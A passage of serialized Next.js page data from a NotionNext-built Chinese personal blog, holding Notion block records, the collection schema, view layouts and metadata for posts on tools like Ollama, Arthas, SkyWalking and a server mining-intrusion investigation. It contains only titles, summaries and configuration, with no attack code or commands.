参考文章"]]},"format":{"copied_from_pointer":{"id":"93197208-c9a4-48b0-aa20-6ace5dc3a8c3","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"93197208-c9a4-48b0-aa20-6ace5dc3a8c3"}},"317692a5-d6ee-4280-a4ab-f2dfce327b3d":{"value":{"id":"317692a5-d6ee-4280-a4ab-f2dfce327b3d","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"a93476d2-ce30-48eb-8062-1cb1bc961f2c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"a93476d2-ce30-48eb-8062-1cb1bc961f2c"}},"1f01e029-d2df-4c21-b861-37b1d26b4f34":{"value":{"id":"1f01e029-d2df-4c21-b861-37b1d26b4f34","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"6fda715e-6852-44f9-b738-86f0d6bae992","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"6fda715e-6852-44f9-b738-86f0d6bae992"}},"1c513562-34eb-47dc-8f40-84dcc70cda9f":{"value":{"id":"1c513562-34eb-47dc-8f40-84dcc70cda9f","type":"text","format":{"copied_from_pointer":{"id":"3877c97b-b87b-454d-9088-ddd1d4604129","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"3877c97b-b87b-454d-9088-ddd1d4604129"}},"9f57a9c3-c1c0-4855-be67-6f499b8416fd":{"value":{"id":"9f57a9c3-c1c0-4855-be67-6f499b8416fd","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"aba0d28b-e446-46b1-b05e-bd1b1d8d7d1d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"aba0d28b-e446-46b1-b05e-bd1b1d8d7d1d"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-5"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
